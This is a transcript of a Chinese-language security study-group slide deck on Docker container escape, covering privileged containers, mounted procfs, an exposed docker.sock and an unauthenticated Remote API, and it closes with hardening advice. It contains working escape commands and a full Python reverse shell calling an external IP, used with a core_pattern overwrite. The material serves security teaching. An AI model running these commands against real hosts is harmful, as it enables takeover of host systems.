Upgrade to Pro — share decks privately, control downloads, hide ads and more …

Docker Escape@HackerSir StudyGroup

Avatar for YUKAI YUKAI
May 30, 2025

Docker Escape@HackerSir StudyGroup

這份簡報介紹了容器逃逸的原理、方法與防範措施。Docker 利用 namespace、cgroup 與 capabilities 隔離容器與宿主機,但若設定不當或存在漏洞(如特權容器、掛載宿主機 /proc 或 Docker socket、未授權的 Remote API 等),攻擊者可藉此跳脫容器限制並控制宿主機。簡報詳細展示了實作案例(如利用 core dump 觸發反彈 shell),並列出相關 CVE 漏洞與工具(如 CDK、linpeas、deepce)協助偵測與逃逸。最後建議透過更新版本、禁用特權模式與限制掛載來防止逃逸行為。

Avatar for YUKAI

YUKAI

May 30, 2025
Tweet

More Decks by YUKAI

Other Decks in Research

Transcript

  1. Docker 逃逸 的本質 • Docker:經由 Cgroup / Namespace 限制權限的 process

    • Docker 逃逸 在有限權限的 process 逃逸到更多權限的 process,可以視 為一種提權方式
  2. Use mount / fdisk command mount | grep -i docker

    fdisk –l 容器內:沒有輸出結果(特權容器除外)
  3. 配置不當 – 誤用參數導致隔離失效 --privileged:容器內的 root 權限 = 宿主機上的 root 權限

    --net=host:容器與宿主機在同一個 Network namespace --pid=host:容器與宿主機在同一個 PID namespace --volume /:/host:宿主機根目錄被掛載到容器內部 權限隔離 網路隔離 行程隔離 文件檔案隔離
  4. Case2:掛載宿主機 procfs 逃逸 1. 滲透進掛載 procfs 的 container 2. 將

    reverse shell 放入目標的 proc 目錄 3. 觸發 core dumped
  5. core_pattern & core dump • /proc/sys/kernel/core_pattern • 設置系統在 process 崩潰時生成

    core dump 的文件路徑格式 echo "/tmp/core-%e.%p" > /proc/sys/kernel/core_pattern
  6. Enable core dumps ulimit -S -c 1000 ulimit -S -c

    unlimited [my-program-to-troubleshoot] • /etc/security/limits.conf:所有的限制設定檔 • -S/-H:軟限制 / 硬限制,-c:core dump file 的大小 • 沒有限定容量(unlimited),後面是指定的程式
  7. 如何逃逸 echo -e "|$host_path/[shell 路徑] \rcore" > /host/proc/sys/kernel/core_pattern 準備一個觸發 core

    dump 的程式 準備一個 reverse shell 的程式 執行崩潰程式並反彈 shell host_path=$(sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab)
  8. 如何逃逸 #!/usr/bin/env python3 import os, pty, socket host = "192.168.159.128"

    port = 4445 def main(): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((host, port)) os.dup2(s.fileno(), 0) os.dup2(s.fileno(), 1) os.dup2(s.fileno(), 2) os.putenv("HISTFILE", '/dev/null') pty.spawn("/bin/bash") s.close() if __name__ == "__main__": main() Python reverse shell
  9. 如何逃逸 #include<stdio.h> int main(void) { int *a = NULL; *a

    = 1; return 0; } C Code Use to cause core dump
  10. Case3:掛載 Docker Socket 1. 滲透進掛載 Docker Socket 的 container 2.

    容器內創建一個掛載宿主機根目錄的新容器(DinD) 3. 進入新容器後切換根目錄
  11. Docker and Dockerd Docker Daemon (Dockerd) Docker Daemon Docker CLI

    UNIX Socket (/var/run/docker.sock) TCP 1、unix:///var/run/docker.sock 2、tcp://host:port 3、fd://socketfd
  12. 如何逃逸 docker run -it -v /var/run/:/host/var/run/ ubuntu /bin/bash find /

    -name docker.sock apt update && apt-get install -y docker.io docker -H unix:///host/var/run/docker.sock run -v /:/aa -it ubuntu:14.04 /bin/bash
  13. Case4:Docker Remote API 未授權存取 1. 檢測某 IP 的 2375(2376) port

    是否授權 2. 建立特權容器並連接(DinD) 3. 掛載宿主機目錄並切換根目錄
  14. 檢測 2375 port 是否授權 方法三 IP=`hostname -i | awk -F.

    '{print $1 "." $2 "." $3 ".1"}' ` && wget http://$IP:2375 Example:在容器中找 host IP
  15. 如何逃逸 docker -H tcp:/[IP] run -itd --name ubuntu --privileged ubuntu:16.04

    /bin/bash docker -H tcp://[IP] exec -it ubuntu /bin/bash mkdir test && mount /dev/vda1 test chroot test
  16. 防止 Docker 逃逸 – 版本更新 • Docker 版本 >= 19.03.1

    • K8s 集群版本 >= 1.12 • Linux kernel >= 4.14
  17. 防止 Docker 逃逸 – 運行注意 • 不使用 root 權限運行 Docker

    服務 • 不以 privileged 啟動 Docker • 不將宿主機目錄掛載到容器目錄 • 不使用 --cap-add=SYSADMIN 將容器啟用
  18. 資料來源 • Docker 容器逃逸 – 奇安信攻防社區 • Docker 逃逸 CVE-2019-5736、procfs

    雲安全漏洞復現 • Docker 逃逸漏洞總匯 • 深入高可用系統原理與設計 • Hack Tricks - Docker Breakout / Privilege Escalation • Understand and configure core dumps on Linux